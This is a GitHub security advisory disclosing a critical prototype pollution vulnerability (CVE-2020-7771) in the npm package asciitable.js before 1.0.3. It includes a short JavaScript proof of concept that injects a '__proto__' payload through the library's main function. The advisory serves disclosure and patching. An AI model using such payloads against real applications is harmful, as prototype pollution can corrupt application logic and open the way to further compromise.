GitHub Advisoryadvisory · npm
GHSA-5pxj-mhwj-x5gv Prototype Pollution in asciitable.js
CRITICAL
Official page ↗
- Aliases
- CVE-2020-7771
- Ecosystem
- npm
- Packages
- asciitable.js
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2021-04-06
Affected packages
• npm asciitable.js: < 1.0.3 → fixed in 1.0.3
Description
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
PoC
```js
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)
```
Related
Alias · CVE (1)
- CVE-2020-7771 The package asciitable.js before 1.0.3 are vulnerable to Prototype Pollution via the main function. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-7771 advisory
- https://github.com/victornpb/asciitable.js/pull/1 web
- https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab web
- https://github.com/victornpb/asciitable.js package
- https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799 web